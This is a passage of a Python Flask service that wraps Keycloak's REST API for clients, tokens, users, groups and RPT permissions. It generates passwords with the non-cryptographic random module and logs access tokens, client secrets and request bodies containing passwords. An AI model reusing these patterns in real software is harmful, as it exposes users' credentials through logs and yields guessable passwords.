csv_path = os.path.join(cfg_path, 'resource.csv')
reader = csv.DictReader(open(csv_path, 'r'))
msg_dict = {}
for row in reader:
msg_dict[row['Code']] = row['Message']
##### END - GLOBAL CONFIGURATION AND VARIABLES
##### INTERNAL FUNCTIONS
def create_json_response(http_code, message_label, info_for_developer="", additional_json = {}):
logger.info("Creating json response: \n http_code => {0} \nmessage_label => {1} \nmessage_label_value => {2} \ninfo_for_developer => {3} \ninfo_for_developer => {4}" \
.format(http_code,message_label,msg_dict[message_label],info_for_developer,additional_json))
data = {
'code' : http_code,
'message' : msg_dict[message_label] + info_for_developer
}
data.update(additional_json)
js = json.dumps(data)
resp = Response(js, status=http_code, mimetype='application/json')
return resp
def generate_passwd():
"""[summary]
The function randomly generates a password.
[description]
This function generates randomly a password from ascii letters and digits. The length of password is limitted from PASSWD_MIN_LEN to PASSWD_MAX_LEN
Returns:
[type: String] -- [description: a generated password]
"""
characters = string.ascii_letters + string.digits # + string.punctuation
passwd = "".join(random.choice(characters) for x in range(randint(PASSWD_MIN_LEN, PASSWD_MAX_LEN)))
return passwd
##### END - INTERNAL FUNCTIONS
##### MODELS
# Keys in client_model (id, name) must match with fields of client object returned by Keycloak
client_model_view = {
'client_id': fields.String, # id of client
'client_name' : fields.String, # client_name
'client_secret' : fields.String,
'client_secret_expires_at': fields.Integer, # fields.DateTime(dt_format='rfc822')
'redirect_uris' : fields.List(fields.String),
'registration_access_token': fields.String,
#'subject_type': fields.String,
#'response_types': fields.String,
#'token_endpoint_auth_method' : fields.String,
#'registration_client_uri' : fields.String,
#'tls_client_certificate_bound_access_tokens' : fields.String,
#'grant_types': fields.List(fields.String) # List
}
token_model_view = {
'session_state' : fields.String,
'access_token' : fields.String,
#'not-before-policy' : fields.Integer,
'expires_in' : fields.Integer,
#'token_type' : fields.String,
'refresh_expires_in': fields.Integer,
'refresh_token': fields.String
}
token_verification_view = {
'sub': fields.String, # id of user
'resource_access': fields.Nested({
'account':fields.Nested({
'roles': fields.List(fields.String)
})
}),
#'nbf': fields.Integer,
'session_state': fields.String,
'aud': fields.String,
#'jti': fields.String,
'given_name': fields.String,
#'scope': fields.String,
'email': fields.String,
'username': fields.String,
#'preferred_username': fields.String,
'client_id': fields.String,
#'iat': fields.Integer,
'active': fields.Boolean,
#'typ': fields.String,
'name': fields.String,
'family_name': fields.String,
#'allowed-origins': fields.String,
#'realm_access': fields.Nested({
# 'roles': fields.List(fields.String)
#}
#),
'iss': fields.String,
#'email_verified': fields.Boolean,
#'acr': fields.Integer,
'exp': fields.Integer,
#'auth_time': fields.Integer,
'azp': fields.String
}
user_model_view = {
'username' : fields.String,
'email' : fields.String,
'firstName' : fields.String,
'lastName' : fields.String,
'id': fields.String,
'enabled': fields.Boolean,
'totp': fields.Boolean,
'emailVerified':fields.Boolean,
'disableableCredentialTypes':fields.List(fields.String),
'requiredActions': fields.List(fields.String),
'notBefore': fields.Integer,
'access': fields.Nested({
'manageGroupMembership':fields.Boolean,
'view': fields.Boolean,
'mapRoles': fields.Boolean,
'impersonate': fields.Boolean,
'manage': fields.Boolean
})
#'attributes' : fields.String
}
user_model_update = {
'firstName': fields.String(attribute='firstname'),
'lastName': fields.String(attribute='lastname')
}
## END - MODELS
##### RESOURCES
### CLIENT
class Client(Resource):
def get(self,client_id):
auth = request.headers.get('authorization')
headers = {"Authorization":auth}
clients_link = keycloak_server + "realms/" + keycloak_realm + "/clients-registrations/openid-connect/" + client_id
logger.debug("RETRIEVE A CLIENT")
logger.debug("headers: ", headers)
logger.debug("clients_link: ", clients_link)
logger.debug("client_id: ", client_id)
received_response = False
try:
r = requests.get(clients_link, headers=headers,cert =(ssl_cert,ssl_key))
client = r.json()
received_response = True
client_filtered = dict(marshal(client, client_model_view))
logger.debug("client: ", client)
logger.debug("filtered client: ", client_filtered)
client_id = client['client_id'] # if r returns error, client['client_id'] does not exist
resp = create_json_response(HTTP_CODE_OK,'retrieve_client_successful', additional_json=client)
return resp
except Exception as e:
logger.error(e)
if(received_response):
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'retrieve_client_failed', additional_json = client)
else:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'retrieve_client_failed')
return resp
def put(self,client_id):
json_body = request.json
auth = request.headers.get('authorization')
headers = {"Authorization":auth}
clients_link = keycloak_server + "realms/" + keycloak_realm + "/clients-registrations/openid-connect/" + client_id
json_body.update({'client_id' : client_id}) # Keycloak REST API requires client_id in json_body; therefore, we add this information here
logger.debug("UPDATE CLIENT")
logger.debug("json_body: ", json_body)
logger.debug("headers: ", headers)
logger.debug("clients_link: ", clients_link)
try:
r = requests.put(clients_link, json = json_body, headers=headers,cert =(ssl_cert,ssl_key))
filtered_response = dict(marshal(json.loads(r.text), client_model_view)) # filter the response to match with client_model_view
filtered_none_response = dict(filter(lambda item: item[1] is not None, filtered_response.items())) # remove all fields with value None
logger.debug("response: ", r.status_code)
logger.debug("updated client info: ", r.text)
logger.debug("filtered updated client info: ", filtered_none_response)
if r.status_code == HTTP_CODE_OK:
resp = create_json_response(HTTP_CODE_OK,'update_client_successful',additional_json=filtered_none_response)
else:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'fail_to_update_client')
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'fail_to_update_client')
return resp
def delete(self,client_id):
auth = request.headers.get('authorization')
headers = {"Authorization":auth}
clients_link = keycloak_server + "realms/" + keycloak_realm + "/clients-registrations/openid-connect/" + client_id
logger.debug("DELETE CLIENT")
logger.debug("headers: ", headers)
logger.debug("client_id: ", client_id)
logger.debug("clients_link: ", clients_link)
try:
r = requests.delete(clients_link, headers=headers,cert =(ssl_cert,ssl_key))
resp = create_json_response(HTTP_CODE_OK,'delete_client_successful')
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'delete_client_failed')
return resp
class Clients(Resource):
def post(self):
'''[summary]
Dynamically register a client
[description]
For further details on which information could be updated by Keycloak client itself, please refer to attributes of ClientRepresentation at https://github.com/keycloak/keycloak/blob/master/core/src/main/java/org/keycloak/representations/oidc/OIDCClientRepresentation.java
Returns:
[type] -- [description]
'''
json_body = request.json # json_body should be {'client_name' : name_of_application_registering_to_keycloak, 'redirect_uris' : list of redirect uris}
auth = request.headers.get('authorization')
headers = {"Authorization":auth}
#r = "http://<IP address of keycloak server>:8080/auth/realms/<realm name>/clients-registrations/openid-connect"
request_link = keycloak_server + "realms/" + keycloak_realm + "/clients-registrations/openid-connect"
logger.debug("CREATE CLIENT")
logger.debug("request link: ",request_link)
logger.debug("headers: ",headers)
logger.debug("json_body: ",json_body)
# Send a request to keycloak server to dynamically register as keycloak client
try:
r = requests.post(request_link, json = json_body, headers=headers,cert =(ssl_cert,ssl_key))
response = r.json()
logger.debug("response: ",response)
logger.debug("status code: ",r.status_code)
if(r.status_code==HTTP_CODE_CREATED):
resp = create_json_response(HTTP_CODE_OK,'register_client_success',additional_json=response)
else:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'register_client_failed',additional_json=response)
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'register_client_failed')
return resp
### END - CLIENT
### TOKEN
class Token(Resource):
def put(self,token): # refresh/ renew access token. Token = refresh token
json_body = request.json
client_id = json_body ['client_id']
client_secret = json_body ['client_secret']
logger.debug("RENEW TOKENS")
logger.debug("json body: ", json_body)
try:
token_link = keycloak_server + "realms/" + keycloak_realm + "/protocol/openid-connect/token"
payload = {"client_id":client_id, "client_secret": client_secret, "refresh_token": token, "grant_type":"refresh_token"}
r = requests.post(token_link,data=payload,cert =(ssl_cert,ssl_key)) # data is in x-www-form-urlencoded
new_token = r.json()
logger.debug('new token: ', new_token)
resp = create_json_response(HTTP_CODE_OK,"succeed_to_refresh_token",additional_json=new_token)
return resp
except:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,"fail_to_refresh_token")
return resp
def delete(self,token): # log out. Token = refesh token
json_body = request.json
client_id = json_body['client_id']
client_secret = json_body['client_secret']
try:
token_link = keycloak_server + "realms/" + keycloak_realm + "/protocol/openid-connect/logout"
payload = {"client_id":client_id, "client_secret": client_secret, "refresh_token": token}
r = requests.post(token_link,data=payload,cert =(ssl_cert,ssl_key)) # data is in x-www-form-urlencoded
resp = create_json_response(HTTP_CODE_OK,'succeed_to_log_out')
logger.debug("DELETE TOKENS")
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'fail_to_log_out')
return resp
def get(self,token): # introspect/ verify token
parser = reqparse.RequestParser()
parser.add_argument('client_id')
parser.add_argument('client_secret')
args = parser.parse_args()
client_id = args['client_id']
client_secret = args['client_secret']
try:
token_link = keycloak_server + "realms/" + keycloak_realm + "/protocol/openid-connect/token/introspect"
payload = {"client_id":client_id, "client_secret": client_secret, "token": token}
r = requests.post(token_link,data=payload,cert =(ssl_cert,ssl_key)) # data is in x-www-form-urlencoded
token_info = r.json()
filtered_token_info = dict(marshal(token_info,token_verification_view))
logger.debug("VERIFY TOKEN")
logger.debug("token info: ", token_info)
logger.debug("filtered token info: ", filtered_token_info)
if token_info["active"]: # token is valid
resp = create_json_response(HTTP_CODE_OK,'valid_token',additional_json=token_info)
else: # token is not valid
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'invalid_token')
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'invalid_token')
return resp
def post(self,token): # exchange token
grant_type = "urn:ietf:params:oauth:grant-type:token-exchange"
requested_token_type = "urn:ietf:params:oauth:token-type:refresh_token"
json_body = request.json
try:
client_id = json_body ['client_id']
client_secret = json_body ['client_secret']
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'fail_to_exchange_token', additional_json={"error" : "invalid json parameters"})
return resp
try: # if "scope" is included in the request
scope = json_body ['scope']
payload = {"client_id":client_id, "client_secret": client_secret, "scope": scope,"grant_type":grant_type, "requested_token_type":requested_token_type,"subject_token":token}
except Exception as e:
payload = {"client_id":client_id, "client_secret": client_secret, "grant_type":grant_type, "requested_token_type":requested_token_type,"subject_token":token}
token_link = keycloak_server + "realms/" + keycloak_realm + "/protocol/openid-connect/token"
logger.debug('EXCHANGE TOKENS')
logger.debug("json body: ", json_body)
try:
r = requests.post(token_link,data=payload,cert =(ssl_cert,ssl_key)) # data is in x-www-form-urlencoded
response = r.json()
logger.debug("Response:",response)
if (r.status_code == HTTP_CODE_OK):
resp = create_json_response(HTTP_CODE_OK,'succeed_to_exchange_token', additional_json=response)
else:
resp = create_json_response(r.status_code,'fail_to_exchange_token',additional_json=response)
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'fail_to_exchange_token', additional_json=response)
return resp
class Tokens(Resource):
def post(self): # retrieve access and refresh token from user's username and password. Only client allowed for direct access grants could request
logger.debug("retrieve tokens")
json_body = request.json
try:
type = json_body['grant_type']
client_id = json_body ['client_id']
client_secret = json_body ['client_secret']
if(type=='password'):
username = json_body ['username']
password = json_body ['password']
payload = {"grant_type":type, "client_id": client_id, "client_secret":client_secret,"username":username,"password":password}
else:
payload = {"grant_type":type, "client_id": client_id, "client_secret":client_secret}
token_link = keycloak_server + "realms/" + keycloak_realm + "/protocol/openid-connect/token"
r = requests.post(token_link,data=payload,cert =(ssl_cert,ssl_key)) # data is in x-www-form-urlencoded
response = r.json()
resp = create_json_response(HTTP_CODE_OK,'succeed_to_get_tokens',additional_json=response)
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'fail_to_get_tokens')
return resp
### END - TOKEN
### USERINFO
class UserInfo(Resource):
def get(self,token): # get user information. Token = access token.
try:
userinfo_link = keycloak_server + "realms/" + keycloak_realm + "/protocol/openid-connect/userinfo"
logger.debug("userinfo link:",userinfo_link)
access_token = "Bearer " + token
headers = {"Authorization": access_token}
r = requests.get(userinfo_link,headers=headers,cert =(ssl_cert,ssl_key))
logger.debug("response:",r.text)
userinfo = r.json()
logger.debug('\nRETRIEVE USER INFORMATION: ')
resp = create_json_response(HTTP_CODE_OK,'succeed_to_get_user_info',additional_json=userinfo)
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'fail_to_get_user_info')
return resp
class Users(Resource):
def post(self):
json_body = request.json
email = json_body ['email']
username = json_body ['username']
password = json_body ['password']
firstname = json_body ['firstname']
lastname = json_body ['lastname']
#organization = json_body ['organization']
access_token = request.headers.get('authorization')
logger.debug('\nCREATE USER')
logger.debug('user name: ', username)
logger.debug('email: ', email)
try:
new_user = {"email": email,
"username": username,
"enabled": True,
"firstName": firstname,
"lastName": lastname,
"realmRoles": ["user_default", ],
#"attributes": {"organization": organization},
"credentials": [{"value": password,"type": "password",}]
}
#access_token = retrieve_realm_admin_access_token()
logger.debug('super user access token: ', access_token)
create_user_link = keycloak_server + "admin/realms/" + keycloak_realm + "/users"
headers = {'Authorization': access_token}
r = requests.post(create_user_link,json=new_user,headers=headers,cert =(ssl_cert,ssl_key))
logger.debug('response: ', r.status_code, '-', r.text)
if r.status_code == HTTP_CODE_CREATED:
resp = create_json_response(HTTP_CODE_CREATED,'create_user_successful')
elif r.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'create_user_failed',info_for_developer="Please ensure that the provided access token is valid")
elif r.status_code == HTTP_CODE_CONFLICT:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'create_user_failed', info_for_developer = "Email existed")
else:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'create_user_failed', info_for_developer =" Please check if the provided access token is of the user with \'manage-user\' role")
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'create_user_failed',additional_json=r)
return resp
### END - USERINFO
### USER : these APIs work only if the provided access token is of a user with user_manager role
class User(Resource):
def get(self,username): # retrieve user
users_link = keycloak_server + "admin/realms/" + keycloak_realm + "/users"
access_token = request.headers.get('authorization')
try:
headers = {'Authorization': access_token}
search_criteria = {
"username" : username
}
r = requests.get(users_link,params=search_criteria,headers=headers,cert =(ssl_cert,ssl_key))
logger.debug('RETRIEVE A USER')
logger.debug("response:",r)
if r.status_code == HTTP_CODE_OK:
ret = r.json()
if ret!=[]:
response = ret[0]
#filtered_response = dict(marshal(response, user_model_view))
#logger.debug('Filtered user info:', filtered_response)
resp = create_json_response(HTTP_CODE_OK,"retrieve_user_successful",additional_json=response)
else:
resp = create_json_response(HTTP_CODE_OK,"retrieve_user_successful",additional_json={"firstName":"The user does not exist"})
elif r.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'retrieve_user_failed',info_for_developer="Please ensure that the provided access token is valid")
else:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'retrieve_user_failed', info_for_developer =" Please check if the provided access token is of the user with \'manage-user\' role")
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,"retrieve_user_failed",additional_json=r)
return resp
def put(self,username): # update user
users_link = keycloak_server + "admin/realms/" + keycloak_realm + "/users/"
json_body = request.json
new_user_info = dict(marshal(json_body,user_model_update))
access_token = request.headers.get('authorization')
logger.info('\nUPDATE USER')
logger.info('Json body => {0}'.format(json_body))
logger.info('New user info => {0}'.format(new_user_info))
#logger.info('access token:', access_token)
try:
#access_token = retrieve_realm_admin_access_token()
headers = {'Authorization': access_token}
search_criteria = {
"username" : username
}
r = requests.get(users_link,params=search_criteria,headers=headers,cert =(ssl_cert,ssl_key))
if r.status_code == HTTP_CODE_OK:
ret = r.json()
if ret!=[]:
user_id = r.json()[0]['id']
update_users_link = users_link + user_id
r = requests.put(update_users_link,json=new_user_info,headers=headers,cert =(ssl_cert,ssl_key))
resp = create_json_response(HTTP_CODE_OK,"update_user_successful")
else:
resp = create_json_response(HTTP_CODE_OK,"update_user_successful",additional_json={"Details":"The user does not exist"})
elif r.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'retrieve_user_failed',info_for_developer="Please ensure that the provided access token is valid")
else:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'retrieve_user_failed', info_for_developer =" Please check if the provided access token is of the user with \'manage-user\' role")
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,"update_user_failed",additional_json=r)
return resp
def delete(self,username): # delete user
users_link = keycloak_server + "admin/realms/" + keycloak_realm + "/users/"
access_token = request.headers.get('authorization')
try:
#access_token = retrieve_realm_admin_access_token()
headers = {'Authorization': access_token}
search_criteria = {
"username" : username
}
r = requests.get(users_link,params=search_criteria,headers=headers,cert =(ssl_cert,ssl_key))
if r.status_code == HTTP_CODE_OK:
ret = r.json()
if ret!=[]:
user_id = r.json()[0]['id']
delete_users_link = users_link + user_id
logger.debug("delete user link:",delete_users_link)
r = requests.delete(delete_users_link,headers=headers,cert =(ssl_cert,ssl_key))
resp = create_json_response(HTTP_CODE_OK,"delete_user_successful")
else:
resp = create_json_response(HTTP_CODE_OK,"delete_user_successful",additional_json={"Details":"The user does not exist"})
elif r.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'delete_user_failed',info_for_developer="Please ensure that the provided access token is valid")
else:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'delete_user_failed', info_for_developer =" Please check if the provided access token is of the user with \'manage-user\' role")
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,"delete_user_failed",additional_json=r)
return resp
### END - USER
### UserGroups
class UserGroups(Resource):
def get_user_id(self,access_token,username):
user_id = ""
users_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users?username=" + username
headers = {'Authorization': access_token}
r = requests.get(users_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.debug("Get user id response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == HTTP_CODE_OK:
ret = r.json()
if ret!=[]:
user_id = r.json()[0]['id']
return user_id,r
def get_user_group(self,access_token,user_id):
logger.debug("Get user group")
access_token = request.headers.get('authorization')
user_groups_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users/" + user_id + "/groups"
headers = {'Authorization': access_token}
grp_result = requests.get(user_groups_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("User groups response. \n status_code => {0} \n response_message => {1}".format(grp_result.status_code,grp_result.text))
if grp_result.status_code == HTTP_CODE_OK:
userGrps = grp_result.json()
for grp in userGrps:
grp_id = grp["id"]
grp_name = grp["name"]
group_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups/" + grp_id
r = requests.get(group_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get group server response: \n response code => {0} \n returned message => {1}".format(r.status_code, r.text))
if r.status_code == HTTP_CODE_OK:
groupResult = r.json()
grp_attributes = groupResult["attributes"]
else:
grp_attributes = {}
return grp_id,grp_name,grp_attributes,grp_result
return "","",{},grp_result
def get_group_admin_members(self,access_token,grp_id):
logger.debug("Get group admin members")
access_token = request.headers.get('authorization')
group_members_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups/" + grp_id + "/members"
headers = {'Authorization': access_token}
mem_result = requests.get(group_members_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Group's members response. \n status_code => {0} \n response_message => {1}".format(mem_result.status_code,mem_result.text))
lst_admin_members = []
if mem_result.status_code == HTTP_CODE_OK:
grpMembers = mem_result.json()
for member in grpMembers:
member_id = member["id"]
roles_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users/" + member_id + "/role-mappings/realm"
r = requests.get(roles_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get roles server response: \n response code => {0} \n returned message => {1}".format(r.status_code, r.text))
if r.status_code == HTTP_CODE_OK:
roleResult = r.json()
for role in roleResult:
role_name = role["name"]
if role_name.lower() == "org_admin" or role_name.lower() == "org_owner":
memberDict = {}
memberDict["username"] = member["username"]
memberDict["firstName"] = member["firstName"]
memberDict["lastName"] = member["lastName"]
memberDict["email"] = member["email"]
memberDict["enabled"] = member["enabled"]
lst_admin_members.append(memberDict)
break
return lst_admin_members, mem_result
def get(self,username):
try:
logger.debug("Get user ({0}) groups".format(username))
access_token = request.headers.get('authorization')
# Get user id for the given username
user_id, res_user = self.get_user_id(access_token,username)
if res_user.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'user_group_retreival_failed',info_for_developer=" Please ensure that the provided access token is valid")
return resp
if user_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'user_group_retreival_failed', info_for_developer =" User with given name does not exist.")
return resp
# Get User's group
grp_id, grp_name, grp_attributes, grp_result = self.get_user_group(access_token,user_id)
if grp_result.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'user_group_retreival_failed',info_for_developer=" Please ensure that the provided access token is valid")
return resp
if grp_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'user_group_retreival_failed', info_for_developer=" The specified user does not belong to any organisation/group")
return resp
# Get admin/owner members of user's group
adminsList, mem_result = self.get_group_admin_members(access_token,grp_id)
if mem_result.status_code == HTTP_CODE_OK:
grpDict = {}
grpDict["name"] = grp_name
grpDict["attributes"] = grp_attributes
grpDict["admins"] = adminsList
resp = create_json_response(HTTP_CODE_OK,'user_group_retreival_successful', additional_json=grpDict)
return resp
else:
resp = create_json_response(mem_result.status_code,'user_group_retreival_failed', info_for_developer=mem_result.text)
return resp
except Exception as e:
logger.error("Exception occured during the processing of group assignment request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_creation_failed',additional_json=e)
return resp
### ENDPOINT
class Endpoint(Resource):
def get(self): # return endpoint of public key
endpoint = keycloak_server + "realms/" + keycloak_realm + "/protocol/openid-connect/certs"
epJson = {'pk_endpoint':endpoint}
resp = create_json_response(HTTP_CODE_OK,'endpoint_successful',additional_json=epJson)
return resp
### END - ENDPOINT
### RPT (Relying party token)
class Rpt(Resource):
def post(self): # retrieve rpt token
logger.info("Retrieve rpt token")
json_body = request.json
logger.debug("json:",json_body)
try:
rs_id = json_body ['resource_server_id']
resource = json_body ['resource_name']
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'fail_to_get_rpt', additional_json={"error" : "invalid json parameters"})
return resp
rs_scope = resource # + "#" + scope
payload = {"audience":rs_id, "permission": rs_scope, "grant_type":"urn:ietf:params:oauth:grant-type:uma-ticket"}
access_token = request.headers.get('authorization')
headers = {"Authorization": access_token}
token_link = keycloak_server + "realms/" + keycloak_realm + "/protocol/openid-connect/token"
logger.debug('RETRIEVE RPT TOKEN')
logger.debug("json body: ", json_body)
logger.debug("Access token:", access_token)
try:
r = requests.post(token_link,headers=headers,data=payload,cert =(ssl_cert,ssl_key)) # data is in x-www-form-urlencoded
response = r.json()
logger.debug("Response:",response)
if r.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'fail_to_get_rpt',additional_json=response)
return resp
rpt = response['access_token']
logger.debug("Tokens: ", rpt)
resp = create_json_response(HTTP_CODE_OK,'succeed_to_get_rpt',additional_json={"rpt token":rpt})
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'fail_to_get_rpt')#, additional_json=e)#{"error description":"Please view the log file"})
return resp
class RptToken(Resource):
def post(self,token): #introspect RPT token
json_body = request.json
try:
client_id = json_body ['client_id']
client_secret = json_body ['client_secret']
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'fail_to_verify_rpt', additional_json={"error" : "invalid json parameters"})
return resp
logger.debug('INTROSPECT RPT TOKENS')
token_link = keycloak_server + "realms/" + keycloak_realm + "/protocol/openid-connect/token/introspect"
try:
payload = {"token_type_hint":"requesting_party_token","token":token}
r = requests.post(token_link,auth=(client_id,client_secret),data=payload,cert =(ssl_cert,ssl_key)) # data is in x-www-form-urlencoded
token_rpt_info = r.json()
logger.debug("Response:",token_rpt_info)
if (token_rpt_info['active']):
resp = create_json_response(HTTP_CODE_OK,'succeed_to_verify_rpt', additional_json=token_rpt_info)
else:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'fail_to_verify_rpt', additional_json=token_rpt_info)
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'fail_to_verify_rpt', additional_json={"error":"Invalid client_id/ client_secret"})
return resp
### END - RPT
### Groups
class Groups(Resource):
def get(self):
try:
access_token = request.headers.get('authorization')
logger.info("Get groups")
api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups"
headers = {'Authorization': access_token}
r = requests.get(api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Server response: \n response code => {0} \n returned message => {1}".format(r.status_code, r.text))
if r.status_code == HTTP_CODE_OK:
allGroups = r.json()
namesList = []
for grp in allGroups:
namesList.append(grp["name"])
grpDict = {}
grpDict["groups"] = namesList
resp = create_json_response(HTTP_CODE_OK,'groups_retreival_successful', additional_json=grpDict)
elif r.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'groups_retreival_failed',info_for_developer=" Please ensure that the provided access token is valid")
else:
resp = create_json_response(r.status_code,'groups_retreival_failed',info_for_developer=r.text)
return resp
except Exception as e:
logger.error("Exception occured during the processing of Groups Get request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'groups_retreival_failed',additional_json=r)
return resp
def post(self):
try:
json_body = request.json
access_token = request.headers.get('authorization')
logger.info("Create group with input data => {0}".format(json_body))
api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups"
headers = {'Authorization': access_token}
r = requests.post(api_url,json=json_body,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Server response: \n response code => {0} \n returned message => {1}".format(r.status_code, r.text))
if r.status_code == HTTP_CODE_CREATED:
resp = create_json_response(r.status_code,'group_creation_message',info_for_developer="New group created successfuly.")
elif r.status_code == HTTP_CODE_CONFLICT:
resp = create_json_response(r.status_code,'group_creation_message',info_for_developer="Group with same name already exist.")
else:
resp = create_json_response(r.status_code,'group_creation_message',info_for_developer=r.text)
return resp
except Exception as e:
logger.error("Exception occured during the processing of Groups post request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_creation_failed',additional_json=r)
return resp
class Group(Resource):
def get_group_id(self,access_token,groupname):
group_id = ""
groups_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups?search=" + groupname
headers = {'Authorization': access_token}
r = requests.get(groups_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get group response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == HTTP_CODE_OK:
result_json = r.json()
for item in result_json:
if item["name"] == groupname:
group_id = item["id"]
logger.info("Group search result => Group found and the id is => {0}".format(group_id))
break
return group_id,r
def get(self,groupname):
try:
access_token = request.headers.get('authorization')
logger.info("Get group")
# Get group Id
group_id, res_group = self.get_group_id(access_token,groupname)
if res_group.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'group_retreival_successful',info_for_developer=" Please ensure that the provided access token is valid")
return resp
if group_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_retreival_failed', info_for_developer =" Group with given name does not exist.")
return resp
api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups/" + group_id
headers = {'Authorization': access_token}
r = requests.get(api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Server response: \n response code => {0} \n returned message => {1}".format(r.status_code, r.text))
if r.status_code == HTTP_CODE_OK:
groupResult = r.json()
grpDict = {}
grpDict["name"] = groupResult["name"]
grpDict["attributes"] = groupResult["attributes"]
resp = create_json_response(HTTP_CODE_OK,'group_retreival_successful', additional_json=grpDict)
else:
resp = create_json_response(r.status_code,'group_retreival_failed',info_for_developer=r.text)
return resp
except Exception as e:
logger.error("Exception occured during the processing of Group get request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_retreival_failed',additional_json=r)
return resp
def put(self,groupname):
try:
json_body = request.json
access_token = request.headers.get('authorization')
logger.info("Update group with input data => {0}".format(json_body))
# Get group Id
group_id, res_group = self.get_group_id(access_token,groupname)
if res_group.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'group_update_failed',info_for_developer=" Please ensure that the provided access token is valid")
return resp
if group_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_update_failed', info_for_developer =" Group with given name does not exist.")
return resp
api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups/" + group_id
headers = {'Authorization': access_token}
r = requests.put(api_url,json=json_body,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Server response: \n response code => {0} \n returned message => {1}".format(r.status_code, r.text))
if r.status_code == 204:
resp = create_json_response(r.status_code,'group_update_message',info_for_developer=" Group updated successfuly.")
else:
resp = create_json_response(r.status_code,'group_update_failed',info_for_developer=r.text)
return resp
except Exception as e:
logger.error("Exception occured during the processing of Group put request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_update_failed',additional_json=r)
return resp
